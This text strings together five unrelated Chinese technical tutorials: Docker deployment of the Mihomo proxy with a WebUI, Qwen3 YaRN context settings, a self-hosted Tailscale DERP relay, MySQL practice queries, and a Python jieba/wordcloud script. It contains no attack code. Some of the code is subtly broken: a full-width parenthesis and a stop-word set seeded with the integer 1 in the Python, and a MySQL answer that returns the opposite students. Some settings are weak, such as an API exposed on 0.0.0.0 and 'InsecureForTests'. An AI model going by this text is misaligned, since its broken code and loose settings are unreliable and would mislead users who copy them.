Docker 部署 Mihomo (Clash Meta) 核心 + WebUI 指南
流程概览 前言 Mihomo（原名 Mihomo Meta，亦即 Clash Meta）是目前 Clash 核心最活跃、功能最强大的分支。由于原始 Clash 项目删库，Mihomo 已成为各平台客户端的首选核心。 值得注意的是，Mihomo 本身是一个纯命令行程序（Core），没有图形界面。为了方便日常管理和监控，我们需要为其搭配一个 Web UI（如 Metacubexd）。本文将详细介绍如何在 Docker 环境（包括 Linux 服务器、NAS、飞牛OS等）中优雅地部署 Mihomo + WebUI，并开启 TUN 模式实现更接管更底层的流量。 准备工作 在开始之前，请确保您的环境满足以下条件： Docker 环境：已安装 Docker 及 Docker Compose。 基础知识：熟悉基本的命令行操作（创建文件夹、编辑文件）。 网络环境：拥有可用的节点订阅链接。 第一步：编写配置文件 (config.yaml) Mihomo 的运行核心在于配置文件。我们需要先在宿主机上准备好这个文件。 新建一个文件夹，命名为 mihomo。 在其中创建一个名为 config.yaml 的文件。 参考以下模板填入内容。 ⚠️ 重点修改提示： 请务必修改下方模板中的 第 7 行（API访问密钥）、第 20、21 行（节点订阅信息）与 第 26 行（节点名称前缀）。修改时请去掉尖括号 < >。 mixed-port: 7890 allow-lan: true bind-address: '*' mode: rule log-level: info external-controller: '0.0.0.0:9090' secret: "<API访问密钥>" tun: enable: false stack: mixed dns-hijack: - "any:53" - "tcp://any:53" auto-route: true auto-redirect: true auto-detect-interface: true proxy-providers: <节点提供者名称>: url: "<节点订阅链接>" type: http interval: 86400 health-check: {enable: true,url: "https://www.gstatic.com/generate_204", interval: 300} override: additional-prefix: "<节点名称前缀>" proxies: - name: "直连" type: direct udp: true geodata-mode: true geox-url: geoip: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/geoip.dat" geosite: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/geosite.dat" mmdb: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/country-lite.mmdb" asn: "https://github.com/MetaCubeX/meta-rules-dat/releases/download/latest/GeoLite2-ASN.mmdb" dns: enable: true ipv6: true respect-rules: true enhanced-mode: fake-ip fake-ip-filter: - "*" - "+.lan" - "+.local" - "+.market.xiaomi.com" nameserver: - https://120.53.53.53/dns-query - https://223.5.5.5/dns-query proxy-server-nameserver: - https://120.53.53.53/dns-query - https://223.5.5.5/dns-query nameserver-policy: "geosite:cn,private": - https://120.53.53.53/dns-query - https://223.5.5.5/dns-query "geosite:geolocation-!cn": - "https://dns.cloudflare.com/dns-query" - "https://dns.google/dns-query" proxy-groups: - name: 默认 type: select proxies: [自动选择,直连,香港,台湾,日本,新加坡,美国,其它地区,全部节点] - name: Google type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: Telegram type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: Twitter type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: 哔哩哔哩 type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: 巴哈姆特 type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: YouTube type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: 海外AI type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: NETFLIX type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: Spotify type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: Github type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] - name: 国内 type: select proxies: [直连,默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择] - name: 其他 type: select proxies: [默认,香港,台湾,日本,新加坡,美国,其它地区,全部节点,自动选择,直连] #分隔,下面是地区分组 - name: 香港 type: select include-all: true filter: "(?i)港|hk|hongkong|hong kong" - name: 台湾 type: select include-all: true filter: "(?i)台|tw|taiwan" - name: 日本 type: select include-all: true filter: "(?i)日|jp|japan" - name: 美国 type: select include-all: true filter: "(?i)美|us|unitedstates|united states" - name: 新加坡 type: select include-all: true filter: "(?i)(新|sg|singapore)" - name: 其它地区 type: select include-all: true filter: "(?i)^(?!.*(?:🇭🇰|🇯🇵|🇺🇸|🇸🇬|🇨🇳|港|hk|hongkong|台|tw|taiwan|日|jp|japan|新|sg|singapore|美|us|unitedstates)).*" - name: 全部节点 type: select include-all: true - name: 自动选择 type: url-test include-all: true tolerance: 10 rules: - GEOIP,lan,直连,no-resolve - GEOSITE,twitter,Twitter - GEOSITE,youtube,YouTube - GEOSITE,category-ai-!cn,海外AI - GEOSITE,github,Github - GEOSITE,google,Google - GEOSITE,telegram,Telegram - GEOSITE,netflix,NETFLIX - GEOSITE,bilibili,哔哩哔哩 - GEOSITE,bahamut,巴哈姆特 - GEOSITE,spotify,Spotify - GEOSITE,CN,国内 - GEOSITE,geolocation-!cn,其他 - GEOIP,CN,国内 - MATCH,其他 第二步：构建 Docker Compose 我们将同时部署 Mihomo 核心 和 Metacubexd (WebUI)。 在 mihomo 文件夹同级或任意位置，创建 docker-compose.yml。 🌟 关键配置说明 (TUN 模式支持)： 为了支持 TUN 模式（虚拟网卡），容器必须拥有网络管理权限。我们在配置中加入了 cap_add: [NET_ADMIN] 和 devices: [/dev/net/tun]，这是实现透明代理的关键。 version: '3' services: # Web 管理面板 metacubexd: container_name: metacubexd #image: ghcr.io/metacubex/metacubexd # 国内加速源 image: ghcr.1ms.run/metacubex/metacubexd restart: always ports: - '9097:80' # WebUI 访问端口 # Mihomo 核心 mihomo: container_name: mihomo #image: docker.io/metacubex/mihomo:latest # 国内加速源 image: docker.1ms.run/metacubex/mihomo:latest restart: always pid: host ipc: host network_mode: host # 推荐使用 Host 模式，性能最好且便于处理 IPv6 # --- TUN 模式核心配置 --- cap_add: - NET_ADMIN # 赋予网络管理权限 devices: - /dev/net/tun:/dev/net/tun # 映射宿主机的 TUN 设备 volumes: # ⚠️ 注意：冒号左边请修改为你 config.yaml 所在的实际绝对路径 - ./mihomo:/root/.config/mihomo 第三步：启动与初始化 1. 启动容器 在 docker-compose.yml 所在目录执行： sudo docker-compose up -d 如果是飞牛OS等图形化系统，请直接在 Docker 管理器中“使用现有 Compose 文件”创建项目即可。 2. 解决规则文件下载失败 (Fatal Error) 初次启动时，查看日志可能会发现如下报错： level=fatal msg="Parse config error... can't download MMDB: context deadline exceeded" 这是因为网络环境导致容器无法自动下载 GeoIP/GeoSite 数据库。 解决方法： 前往 MetaCubeX/meta-rules-dat 下载以下文件： geoip.dat geosite.dat country-lite.mmdb GeoLite2-ASN.mmdb 将这4个文件手动上传到宿主机的 mihomo 文件夹（与 config.yaml 同级）。 重启容器：sudo docker-compose restart mihomo 第四步：配置 WebUI 打开浏览器访问：http://设备IP:9097。 进入设置页面，添加后端： API Base URL: http://设备IP:9090 Secret: 在 config 第 6 行设置的 API 访问密钥 点击添加，连接成功后即可看到流量仪表盘和节点选择界面。 进阶：关于 TUN 模式与透明代理 TUN 模式允许 Mihomo 创建一个虚拟网卡，接管设备上所有层级的流量（包括不走系统代理的终端命令、游戏等）。 为什么需要特殊权限？ 在 Docker 中，默认容器是没有权限创建网络设备的。要启用 TUN 模式，必须在启动参数中显式声明： --cap-add=NET_ADMIN：允许容器修改网络堆栈。 --device=/dev/net/tun：允许容器访问 Linux 的 TUN 字符设备。 在本文提供的 docker-compose.yml 中，我们已经默认添加了这两项配置。 如何启用？ 确保 Docker 配置已包含上述权限参数。 在 WebUI 的设置页面中勾选 TUN 模式。 或者在 config.yaml 中将 tun: enable 设置为 true 并重启容器。 此时，配合路由表的设置，Mihomo 即可变身为一个网关，实现透明代理。 Q&A 常见问题 Q1: "Failed to fetch" 无法连接后端？ A: 检查 WebUI 中填写的后端地址端口是否为 9090（不是 9097），并确保 config.yaml 中 external-controller 监听的是 0.0.0.0:9090。 Q2: 为什么不使用在线版的 WebUI (如 yacd)？ A: 在线版面板（通常是 HTTPS）因浏览器安全策略（混合内容拦截），往往无法连接到你本地的 HTTP 后端（Mihomo）。使用 Docker 自建本地版 WebUI 最稳定。 Q3: 如何在其他设备上使用这个代理？ A: 在其他设备（手机/电脑）的 Wi-Fi 代理设置中，填入 IP: 宿主机IP，端口: 7890。 相关链接 Mihomo 项目仓库 Mihomo 官方文档 Metacubexd 面板仓库
Qwen3 模型原生支持 32,768 个 token 的上下文长度。对于超出此限制的长文本，官方推荐使用 YaRN (Yet another RoPE-based Neural network scaling) 扩展技术。YaRN 是一种基于旋转位置编码（RoPE）的扩展方法，已验证可将上下文长度扩展至 131,072 个 token，并被 transformers、llama.cpp、vllm 和 sglang 等多个推理框架支持。 要启用 YaRN，需配置以下关键参数： rope_scaling: 一个配置 RoPE 缩放策略的字典。 rope_type: 字符串类型，指定缩放类型。启用 YaRN 时，其值为 "yarn"。 factor: 浮点数，定义上下文窗口扩展的倍数。例如，4.0 表示将原始长度扩展四倍。 original_max_position_embeddings: 整数，表示模型的原始最大上下文长度，对于 Qwen3，其值为 32768。 max_model_len: 整数，最终设置的模型最大上下文长度，应与 factor 的乘积相匹配。 解决方案：两种配置方式 根据官方文档，有以下两种主要方法来启用 YaRN。 1. 修改模型配置文件（推荐） 这是最直接且不易出错的方法，完全规避了命令行参数解析的复杂性。 定位文件: 打开 Qwen3 模型目录下的 config.json 文件。 添加配置: 在文件中添加或修改 rope_scaling 字段，并设置 max_model_len。 JSON "rope_scaling": { "rope_type": "yarn", "factor": 4.0, "original_max_position_embeddings": 32768 }, "max_model_len": 131072 这种方法配置一次即可永久生效，特别适用于生产环境部署。 2. 命令行参数传递 对于不同的推理框架，命令行参数的格式有所不同。 vLLM: Bash VLLM_USE_MODELSCOPE=true vllm serve ... --rope-scaling '{"rope_type":"yarn","factor":4.0,"original_max_position_embeddings":32768}' --max-model-len 131072 sglang: Bash SGLANG_USE_MODELSCOPE=true python -m sglang.launch_server ... --json-model-override-args '{"rope_scaling":{"rope_type":"yarn","factor":4.0,"original_max_position_embeddings":32768}}' llama.cpp: Bash llama-server ... --rope-scaling yarn --rope-scale 4 --yarn-orig-ctx 32768 命令行参数的格式因框架而异，需特别注意。 推荐模型参数与最佳实践 在启用 YaRN 长文本支持后，为了获得最佳推理效果，还需关注以下生成参数和最佳实践： 采样参数 对于思考模式（enable_thinking=True），使用 Temperature=0.6、TopP=0.95、TopK=20 和 MinP=0。不要使用贪婪解码，因为它可能导致性能下降和无尽的重复。 对于非思考模式（enable_thinking=False），我们建议使用 Temperature=0.7、TopP=0.8、TopK=20 和 MinP=0。 对于支持的框架，您可以将 presence_penalty 参数调整在 0 到 2 之间以减少无尽的重复。然而，使用较高的值偶尔会导致语言混杂和模型性能轻微下降。 其他重要提示 性能考量: 大部分开源框架都实现了静态 YaRN。我们建议仅在需要处理长上下文时才启用 YaRN，因为它可能影响处理较短文本时的性能。 factor 调整: 官方建议根据典型上下文长度调整 factor，例如，若应用场景的上下文长度通常为 65,536 个 token，则将 factor 设置为 2.0。 版本兼容性: 若遇到 Unrecognized keys in rope_scaling 警告，请升级 transformers 至 4.51.0 或更高版本。 显存需求: 扩展上下文长度会显著增加显存消耗。处理 131,072 个 token 的文本可能需要比原生长度多占用 30-40% 的显存。 输出长度: 对于大多数查询，建议设置 32,768 个 token 的输出长度。对于复杂问题，最大输出长度可设置为 38,912，为模型提供足够的空间生成详细回答。
自搭建 Tailscale DERP 服务器并使用客户端验证(verify-clients)
搭建 Tailscale DERP 服务器教程 Tailscale DERP（Distributed, Encrypted, and Resilient Packet Relay）服务器是 Tailscale 网络中用于中继流量的组件，尤其适用于网络环境复杂或直连困难的场景，但是国内网络连接官方提供的derp服务器时普遍存在延迟高，速度慢，甚至几乎无法使用的情况。所以产生了自建私有derp流量中转服务器的需求，以便在p2p无法直连打洞成功的场景下能够实现和使用低延迟，高速度的tailscale流量中继服务。以下是使用 Docker 搭建 Tailscale DERP 服务器的详细步骤： 环境准备 操作系统：推荐使用 Linux 系统，如 Ubuntu、Debian 等，因为 Docker 在 Linux 上的性能和兼容性更佳。 Docker 环境：确保已安装 Docker。可以通过运行 docker --version 命令来检查 Docker 是否已安装。 Tailscale 客户端：在宿主机上安装并启动 Tailscale 客户端，以便 DERP服务器能够与 Tailscale 网络通信。 网络配置：确保服务器的网络配置正确，能够正常访问外网，且对应的端口没有被防火墙阻止。 搭建步骤 1. 安装并启动 Tailscale 客户端 在宿主机上安装 Tailscale 客户端，并启动它。安装方法因操作系统而异，具体可以参考 Tailscale 官方文档。 启动 Tailscale 客户端后，它会在 /var/run/tailscale 目录下创建一个名为 tailscaled.sock 的套接字文件。 2. 拉取 Docker 镜像 从 Docker Hub 拉取 javaow/tailscale-derp 镜像。该镜像已经包含了搭建 DERP服务器所需的全部依赖和配置。 docker pull javaow/tailscale-derp 3. 运行 DERP服务器容器 使用以下命令启动 DERP服务器容器。该命令会将 DERP服务器映射到宿主机的指定端口，并挂载必要的文件和目录。 docker run -d \ --name tailscale-derp \ -p 0.0.0.0:59443:36666 \ -p 0.0.0.0:3478:3478/udp \ -v /var/run/tailscale/tailscaled.sock:/var/run/tailscale/tailscaled.sock \ javaow/tailscale-derp \ ./derper \ -hostname "derp.javaow.com" \ -a ":36666" \ -certmode "manual" \ -certdir "/ssl" \ --verify-clients 参数解释 -d：后台运行容器。 --name tailscale-derp：指定容器名称为 tailscale-derp。 -p 0.0.0.0:59443:36666：将容器的 36666 端口映射到宿主机的 59443 端口，允许外部访问。 -p 0.0.0.0:3478:3478/udp：将容器的 3478 端口映射到宿主机的 3478 端口，用于 UDP 通信。 -v /var/run/tailscale/tailscaled.sock:/var/run/tailscale/tailscaled.sock：将宿主机的 Tailscale 套接字文件挂载到容器中，以便 DERP服务器与 Tailscale 守护进程通信。 javaow/tailscale-derp：指定使用的 Docker 镜像。 ./derper：指定容器启动时运行的命令。 -hostname "derp.javaow.com"：设置 DERP服务器的主机名。 -a ":36666"：指定 DERP服务器监听的端口。 -certmode "manual"：指定证书模式为手动。 -certdir "/ssl"：指定证书目录。 --verify-clients：启用客户端验证。 4. 验证 DERP服务器状态 启动容器后，可以通过以下命令查看 DERP服务器的运行状态： docker logs tailscale-derp 如果看到类似 DERP server started 的日志信息，表示 DERP服务器已成功启动。 5. 配置 Tailscale 客户端 在 Tailscale 客户端的配置文件中，添加自建 DERP服务器的信息。具体配置方法如下： { "derpMap": { "OmitDefaultRegions": false, "Regions": { "910": { "RegionID": 910, "RegionCode": "自建节点(名称)", "Nodes": [ { "Name": "910", "RegionID": 910, "HostName": "宿主机IP", "InsecureForTests": true, "DERPPort": 59443 } ], "RegionName": "自建节点(名称)" } } } } 将 宿主机IP 替换为 DERP服务器的实际 IP 地址。 注意事项 端口映射：确保宿主机的 59443(tcp) 和 3478(udp) 端口没有被其他服务占用，并且防火墙允许外部访问这些端口。
MySQL经典四表查询(教师，学生，成绩，课程表)多表查询
MySQL经典四表查询(教师，学生，成绩，课程表)多表查询 1、表架构呈现 student(sid,sname,sage,ssex) 学生表 teacher(tid,tname) 教师表 course(cid,cname,tid) 课程表 sc(sid,cid,score) 成绩表 2、建表SQL语句并插入数据 -- 1.学生表 CREATE TABLE student( sid INT PRIMARY KEY AUTO_INCREMENT, sname VARCHAR(20), sage DATE, ssex ENUM ('男','女') ); -- 2.课程表中使用了外键教师编号，因而需要先建立教师表 CREATE TABLE teacher( tid INT PRIMARY KEY AUTO_INCREMENT, tname VARCHAR(20) ); -- 3.建立课程表 CREATE TABLE course( cid INT PRIMARY KEY AUTO_INCREMENT, cname VARCHAR(20), tid INT, FOREIGN KEY (tid) REFERENCES teacher (tid) ); -- 4.建立成绩表 CREATE TABLE sc( sid INT, cid INT, score INT ); -- 先给student表插入数据 INSERT INTO student VALUES (1,'赵雷','1990-01-01','男'), (2,'钱电','1990-12-21','男'), (3,'孙风','1990-05-20','男'), (4,'李云','1990-08-06','男'), (5,'周梅','1991-12-01','女'), (6,'吴兰','1992-03-01','女'), (7,'郑竹','1989-07-01','女'), (8,'王菊','1990-01-20','女'); -- 给teacher表插入数据,这里不可以先给course表插入数据,因为course表外键连接到teacher的主键 INSERT INTO teacher VALUES(1,'张三'),(2,'李四'),(3,'王五'); -- 给course表插入数据 INSERT INTO course VALUES(1,'语文',2),(2,'数学',1),(3,'英语',3); -- 最后给sc表插入数据 INSERT INTO sc VALUES(1,1,90),(1,2,80),(1,3,90),(2,1,70),(2,2,60),(2,3,80),(3,1,80), (3,2,80),(3,3,80),(4,1,50),(4,2,30),(4,3,20),(5,1,76),(5,2,87),(6,1,31),(6,3,34),(7,2,89),(7,3,98); 3、问题集锦 （1）查询 1 课程比 2 课程成绩高的学生的信息及课程分数 SELECT s.sid,s.sname,s.sage,s.ssex,sc1.score,sc2.score FROM student s ,sc sc1,sc sc2 WHERE sc1.`cid` = 1 AND sc2.`cid` = 2 AND sc1.`score` > sc2.`score` AND sc1.`sid` = s.`sid`AND sc2.`sid` = s.`sid`; （2）查询平均成绩大于等于60分的同学的学生编号和学生姓名和平均成绩 SELECT s.sid,s.sname,AVG(sc1.`score`) AS 'avg_score' FROM student s ,sc sc1 WHERE s.sid = sc1.`sid` GROUP BY s.sid HAVING avg_score >= 60 ORDER BY avg_score DESC; （3）查询名字中含有"风"字的学生信息 SELECT s.sid,s.sname,s.sage,s.ssex FROM student s WHERE sname LIKE '%风%'; （4）查询课程名称为"数学"，且分数低于60的学生姓名和分数 SELECT s.sname,sc1.score FROM student s ,sc sc1 WHERE s.sid = sc1.sid AND cid = 2 AND sc1.score < 60; （5）查询所有学生的课程及分数情况 SELECT sc1.sid,c.cname,sc1.score FROM course c,sc sc1 WHERE c.cid = sc1.cid; （6）查询没学过"张三"老师授课的同学的信息 第一种普通写法： SELECT sc1.sid FROM sc sc1,course c,teacher t WHERE c.tid = t.tid AND c.cid = sc1.cid AND t.tname = '张三'; 第二种子查询写法： SELECT s.* FROM student s WHERE s.sid NOT IN ( SELECT sc1.sid FROM sc sc1,course c,teacher t WHERE c.tid = t.tid AND c.cid = sc1.cid AND t.tname = '张三'); （7）查询学过"张三"老师授课的同学的信息 第一种普通写法： SELECT s.* FROM student s,sc sc1,course c,teacher t WHERE sc1.sid = s.sid AND t.tid = c.tid AND c.cid = sc1.cid AND t.tname = '张三'; 第二种子查询写法： SELECT s.* FROM student s WHERE s.sid IN ( SELECT sc1.sid FROM sc sc1,course c,teacher t WHERE c.tid = t.tid AND c.cid = sc1.cid AND t.tname = '张三'); （8）查询学过编号为 1 并且也学过编号为 2 的课程的同学的信息 SELECT s.* FROM student s,sc sc1,sc sc2 WHERE s.sid = sc1.sid AND sc1.sid = sc2.sid AND sc1.cid = 1 AND sc2.cid = 2; （9）查询学过编号为 1 但是没有学过编号为 2 的课程的同学的信息 -- 第一步：先用student表左连接查出学过课程1的和学过课程2的所有学生信息 SELECT s.* FROM student s LEFT JOIN (SELECT * FROM sc WHERE cid=1) sc1 ON s.sid = sc1.sid LEFT JOIN (SELECT * FROM sc WHERE cid=2) sc2 ON s.sid = sc2.sid; -- 第二步：筛选学过编号为1但是没有学过编号为2的课程的同学的信息 SELECT s.* FROM student s LEFT JOIN (SELECT * FROM sc WHERE cid=1) sc1 ON s.sid = sc1.sid LEFT JOIN (SELECT * FROM sc WHERE cid=2) sc2 ON s.sid = sc2.sid WHERE (sc1.cid=1 AND sc2.cid IS NULL); （10）查询没有学全所有课程的同学的信息 -- 第一种写法： -- 第一步：先用student表左连接查出学过课程1、2、3及其它的所有学生信息 SELECT s.* FROM student s LEFT JOIN (SELECT * FROM sc WHERE cid = 1) sc1 ON s.sid = sc1.sid LEFT JOIN (SELECT * FROM sc WHERE cid = 2) sc2 ON s.sid = sc2.sid LEFT JOIN (SELECT * FROM sc WHERE cid = 3) sc3 ON s.sid = sc3.sid; -- 筛选没有学全所有课程的同学的信息 SELECT s.* FROM student s LEFT JOIN (SELECT * FROM sc WHERE cid = 1) sc1 ON s.sid = sc1.sid LEFT JOIN (SELECT * FROM sc WHERE cid = 2) sc2 ON s.sid = sc2.sid LEFT JOIN (SELECT * FROM sc WHERE cid = 3) sc3 ON s.sid = sc3.sid WHERE (sc1.cid IS NULL OR sc2.cid IS NULL OR sc3.cid IS NULL); -- 上面写法比较繁琐，建议用楼下写法 -- 第二种写法： -- 第一步：先把三个课程都学的学员编号查出来 SELECT sc1.sid FROM sc sc1,sc sc2,sc sc3 WHERE sc1.cid = 1 AND sc2.cid = 2 AND sc3.cid = 3 AND sc1.sid = sc2.sid AND sc1.sid = sc3.sid; -- 第二步：对立的查询思路，三个课程都学完的同学对立面是三个课程没学完或者一个都没学的 SELECT s.* FROM student s WHERE s.sid NOT IN (SELECT sc1.sid FROM sc sc1,sc sc2,sc sc3 WHERE sc1.cid = 1 AND sc2.cid = 2 AND sc3.cid = 3 AND sc1.sid = sc2.sid AND sc1.sid = sc3.sid) GROUP BY s.sid; （11）查询至少有一门课与学号为"1"的同学所学相同的同学的信息 SELECT DISTINCT s.* FROM student s,sc sc1 WHERE s.sid = sc1.sid AND sc1.cid IN(SELECT cid FROM sc WHERE sid = 1) AND s.sid <> 1; （12）查询和"1"号的同学学习的课程完全相同的其他同学的信息 -- 第一步：先查出1号同学学习的所有的课程编号 -- 当前数据设计1号同学选修了所有课程 SELECT cid FROM sc WHERE sid = 1; -- 第二步：查出选修了1号学生没有选修课程的学生编号，这一步很关键，我们用cid去过滤，所以后面再用not in的时候那个子集里一定有和1号学生选修的课程完全相同的同学 -- 因为1号同学选修了所有课程，所以没有符合条件的学生编号 SELECT sid FROM sc WHERE cid NOT IN (SELECT cid FROM sc WHERE sid = 1); -- 如果查询结果中有重复的sid，因为有的同学选修的1号同学没选的课程不止一门，可以使用distinct对sid进行去重处理 -- 第三步：查询选修的课程是1号学生选修课程的子集的学生编号 -- 因为第二步查出的是选修了1号学生没有选修课程的学生编号,逆向思维，再用not in，双重否定变肯定，查出的就是和1号同学有一门、多门、或者全部课程的同学编号 -- 可以使用distinct对sid进行去重处理 SELECT sid FROM sc WHERE sid NOT IN (SELECT sid FROM sc WHERE cid NOT IN (SELECT cid FROM sc WHERE sid = 1)); -- 第四步：从上述查询结果中，筛选出选修的课程数量与1号学生选修的课程数量相等的其他学生的编号 SELECT sid FROM sc WHERE sid NOT IN (SELECT sid FROM sc WHERE cid NOT IN (SELECT cid FROM sc WHERE sid = 1)) GROUP BY sid HAVING COUNT(*) = (SELECT COUNT(*) FROM sc WHERE sid =1) AND sid <> 1; -- COUNT(*):统计返回的行数 当sid=1时，有3行数据 SELECT COUNT(*) FROM sc WHERE sid = 1; -- 3 -- 第五步:以上述查询结果为筛选条件，从student表中查询出与1号学生学习的课程完全相同的其他学生的信息 SELECT s.* FROM student s WHERE sid IN (SELECT sid FROM sc WHERE sid NOT IN (SELECT sid FROM sc WHERE cid NOT IN (SELECT cid FROM sc WHERE sid = 1)) GROUP BY sid HAVING COUNT(*) = (SELECT COUNT(*) FROM sc WHERE sid =1) AND sid <> 1); /第十二题思路总结： 01号之外的其他学生可以分成两个大类，一类是选修了01号学生没有选修的课程的学生 另一类学生选修的课程是01号学生选修的课程的子集，这个子集是选修了和1号学生里的一门、多门、 采用逆向思维，可以先找出选修了01号学生没选课程的学生编号，然后以01号学生选修的课程数量为筛选条件， 从剩下的选修的课程是01号学生选修的课程的子集这类学生中筛选出与01号学生所选课程完全相同的学生编号， 此编号包含了01，以剔除了01之后的编号为筛选条件 从student表中选出和01号同学学习的课程完全相同的其他同学的信息/ （13）查询没学过"张三"老师讲授的任一门课程的学生信息 -- 第一步：张三老师tid是1，cid是2，逆向思维，查询学过"张三"老师讲授的任一门课程的学生编号 SELECT sc1.sid FROM sc sc1,course c,teacher t WHERE t.tid = c.tid AND sc1.cid = c.cid AND t.tname = '张三'; -- 第二步：以上查询结果为筛选条件，从student表中查询出没学过"张三"老师讲授的任一门课程的学生信息 SELECT s.* FROM student s WHERE s.sid NOT IN (SELECT sc1.sid FROM sc sc1,course c,teacher t WHERE t.tid = c.tid AND sc1.cid = c.cid AND t.tname = '张三'); （14）查询出只有两门课程的全部学生信息 SELECT s.* FROM student s,sc GROUP BY sc.sid HAVING COUNT(sc.sid) = 2 AND s.sid = sc.sid; （15）查询1990年出生的学生信息(注：student表中sage列的类型是datetime) -- 第一种写法： SELECT s.* FROM student s WHERE s.sage >= '1990-01-01' AND s.sage<='1990-12-31'; -- 第二种写法：模糊查询 SELECT s.* FROM student s WHERE s.sage LIKE '1990-%'; （16）查询每门课程的平均成绩，结果按平均成绩降序排列，平均成绩相同时，按课程编号升序排列 SELECT sc.cid,AVG(score) AS avg_score FROM sc GROUP BY sc.cid ORDER BY avg_score DESC,sc.cid ASC; （17）查询任何一门课程成绩在70分以上的姓名、课程名称和分数 SELECT s.sname,c.cname,sc.score FROM student s,course c,sc WHERE s.sid = sc.sid AND sc.cid = c.cid AND sc.score >= 70; （18）查询平均成绩大于等于85的所有学生的学号、姓名和平均成绩,并按照平均成绩降序排列 SELECT s.sid,s.sname,AVG(score) AS avg_score FROM student s,sc WHERE s.sid = sc.sid GROUP BY s.sid HAVING avg_score >= 85 ORDER BY avg_score DESC; （19）查询成绩不及格的课程和学生姓名 SELECT s.sname,c.cname,sc.score FROM student s,course c,sc WHERE s.sid = sc.sid AND sc.cid = c.cid AND sc.score < 60; （20）查询课程编号为1且课程成绩在80分以上的学生的学号和姓名 SELECT s.sid,s.sname FROM student s,sc WHERE s.sid = sc.sid AND sc.cid = 1 AND sc.score >= 80 GROUP BY s.`sid`; （21）求每门课程的学生人数 SELECT cid AS '课程编号',COUNT(sid) AS '课程人数' FROM sc GROUP BY sc.cid; （22）统计每门课程的学生选修人数（超过5人的课程才统计）。要求输出课程号和选修人数 SELECT cid AS '课程编号',COUNT(sid)AS '课程人数' FROM sc GROUP BY sc.cid HAVING COUNT(sid)>5 ORDER BY COUNT(sid),sc.cid ASC; （23）查询不同课程成绩相同的学生的学生编号、课程编号、学生成绩 SELECT s1.sid,sc1.cid,sc1.score,s2.sid,sc2.cid,sc2.score FROM student s1,student s2,sc sc1,sc sc2 WHERE s1.sid=sc1.sid AND s2.sid = sc2.sid AND sc1.cid <>sc2.cid AND sc1.score = sc2.score; （24）检索至少选修两门课程的学生学号 SELECT sid FROM sc GROUP BY sc.sid HAVING COUNT(cid)>=2; （25）查询选修了全部课程的学生信息 SELECT * FROM student s,sc WHERE s.sid =sc.sid GROUP BY s.sid HAVING COUNT(cid)=3; （26）查询各学生的年龄(年龄保留整数) SELECT s.sname,ROUND((TO_DAYS('2020-06-11')-TO_DAYS(s.sage))/365) AS age FROM student s; （27）查询本月过生日的学生姓名和出生年月 -- _____ :五个下划线长度 SELECT s.sname,s.sage FROM student s WHERE s.sage LIKE '_____07%'; （28）查询下月过生日的学生 SELECT s.sname,s.sage FROM student s WHERE s.sage LIKE '_____08%'; （29）查询学全所有课程的同学的信息 SELECT s.* FROM student s,sc WHERE s.sid = sc.sid GROUP BY s.sid HAVING COUNT(sc.cid) = 3;
案例实操 准备资源 导入所需库import wordcloud import jieba 准备好源文件，屏蔽词文件，备用字体font_path = 'C:\Windows\Fonts\时尚中黑简体.ttf' file_path = '新建文本文档.txt' fake_path = 'stop_key.txt' 自定义变量alist = [] # btext = '' # fake_set = {1} #第三方屏蔽列集合 #根据文档特殊性而设计的自定义屏蔽词 stop_words = {'我们','这个','一个','可以','下来','这样','就是','用来', '非常','然后','这里','非常','大家','时候','上面','里面', '放在','首先','准备','出来','很多','其实','一些','拿出','还有','如果'} 读取数据集 #读入源文档 with open(file_path,'r',encoding='GBK',errors='ignore')as f: text = f.read() #type（text）:str #ignore errors #读入屏蔽词 with open (fake_path,'r',encoding='utf-8')as f: fake_data = f.readlines() #屏蔽词文件中，每一个词汇独占一行，因此逐行读取 #type（fake_data） is list. 这个列表里的每个元素都是str for i in fake_data: #遍历屏蔽词列表，每个i都是一个屏蔽词 fake_set.add(i.strip()) #将屏蔽词加入集合，集合具有无序独立性，会自动排除重复词 #扩充屏蔽词库 fake_set = fake_set|stop_words 分词 #alist装填分词句 for i in jieba.cut(text,cut_all=False): #text是源文档 #切分采用精确模式 #jieba.cut（）返回一个generate对象，使用for语句可以遍历此对象 #每一个i都是一个str alist.append(i.strip()) #循环结束后，alist列表里的若干个元素，都是通过jieba分好的词 # 剔除屏蔽词 for word in alist: #alist是一个装填分词的列表，里面的每一个元素都来自源文档 if word not in fake_set: #如果遍历到的词汇不是屏蔽词，那么就把这词接入btext btext += word btext +='/' #每个分词之间用/断开 #btext变量是一个较长的且已过滤屏蔽词的字符串str，每个分词之间由'/'断开 生成词云 # 实例化 wc = wordcloud.WordCloud(font_path=font_path, width=1920, height=1080, background_color="white") # 传入 str 对象 # 此处给 generate 传入的参数 btext 已手动除杂，无需在 wordcloud 的实例化参数中指明 stopwords wc.generate(btext) file = wc.to_file('11111.jpg') image = wc.to_image(） image.show() Demo 手动爬取 15 个沙雕营销号生活妙用视频文案，利用 jieba + wordcloud 统计高频词。 问题总结 文件读写统一编码格式 错误案例：读取多个编码格式不同的文件时，使用了统一的解码格式，导致文本乱码或屏蔽失效。 例如：屏蔽词文件 stop_key.txt 编码为 GBK，源文件 raw_text.txt 编码为 UTF-8。一开始写函数并没有注意到这个细节，而后整个程序的读文件操作都通过一个 read_file() function 进行，导致整个程序陷入了无限报错之中，拆东墙补西墙。 解决方案：给 read_file() function 自定义参数 mode，进而针对特殊编码的文件单独控制 encoding。 ps：此处分别用两个 open 强调文件编码不同 ps：在我没意识到文件编码异常之前，一直在调整统一的 encoding 